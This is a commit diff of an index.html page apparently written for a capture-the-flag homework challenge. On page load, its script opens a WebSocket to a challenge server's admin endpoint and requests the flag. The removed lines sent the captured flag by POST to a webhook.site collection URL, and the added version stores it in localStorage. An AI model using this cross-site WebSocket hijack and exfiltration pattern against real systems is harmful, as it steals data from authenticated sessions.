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Update index.html
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@mehtix1
mehtix1 authored Nov 15, 2024
1 parent 2ce7235 commit c978874
Showing 1 changed file with 28 additions and 67 deletions.
95 changes: 28 additions & 67 deletions index.html
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<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>WebSocket and POST Request</title>
<title>Retrieve and Store Flag</title>
<script>
document.addEventListener('DOMContentLoaded', () => {
const wsUrl = 'ws://hw2-3-web:8081/admin/ws';
const firstWebhookUrl = 'https://webhook.site/793ce786-73e8-4f90-91dd-68748f201a6a/';
const secondWebhookUrl = 'https://webhook.site/793ce786-73e8-4f90-91dd-68748f201a6a/';
const wsUrl = 'ws://ce441-web.spchallenge.ir:8080/admin/ws';

// Step 1: Send a POST request to the first webhook
console.log('Sending initial POST request...');
fetch(firstWebhookUrl, {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify({ message: 'Initial POST request sent' }),
})
.then(response => {
if (response.ok) {
console.log('Initial POST request sent successfully');

// Step 2: Open WebSocket connection after the first POST is complete
console.log('Opening WebSocket connection...');
const ws = new WebSocket(wsUrl);
console.log('Opening WebSocket connection...');
const ws = new WebSocket(wsUrl);

ws.onopen = () => {
console.log('WebSocket connection opened');
ws.send('flag'); // Request the flag
};
ws.onopen = () => {
console.log('WebSocket connection opened');
ws.send('flag'); // Request the flag
};

ws.onmessage = (event) => {
console.log('Received WebSocket message:', event.data);
if (event.data.includes('flag{')) {
const flag = event.data;
console.log('Flag received:', flag);
ws.onmessage = (event) => {
console.log('Received WebSocket message:', event.data);
if (event.data.includes('flag{')) {
const flag = event.data;
console.log('Flag received:', flag);

// Step 3: Send the flag to the second webhook
console.log('Sending flag to the second webhook...');
fetch(secondWebhookUrl, {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify({ flag }),
})
.then(response => {
if (response.ok) {
console.log('Flag sent successfully to the second webhook');
} else {
console.error('Failed to send flag to the second webhook. Response status:', response.status);
}
})
.catch(error => {
console.error('Error sending flag to the second webhook:', error);
});
} else {
console.warn('WebSocket message did not contain a flag:', event.data);
}
};

ws.onerror = (error) => {
console.error('WebSocket error:', error);
};

ws.onclose = () => {
console.log('WebSocket connection closed');
};
// Store the flag in localStorage
localStorage.setItem('capturedFlag', flag);
console.log('Flag stored in localStorage');
} else {
console.error('Failed to send the initial POST request. Response status:', response.status);
console.warn('No valid flag found in the WebSocket message');
}
})
.catch(error => {
console.error('Error sending initial POST request:', error);
});
};

ws.onerror = (error) => {
console.error('WebSocket error:', error);
};

ws.onclose = () => {
console.log('WebSocket connection closed');
};
});
</script>
</head>
<body>
<h1>WebSocket and POST Request</h1>
<p>The flag will be retrieved and sent automatically after the first POST request is completed.</p>
<h1>Retrieve and Store Flag</h1>
<p>The flag will be retrieved and stored in localStorage when the page loads. Check the console for details.</p>
</body>
</html>

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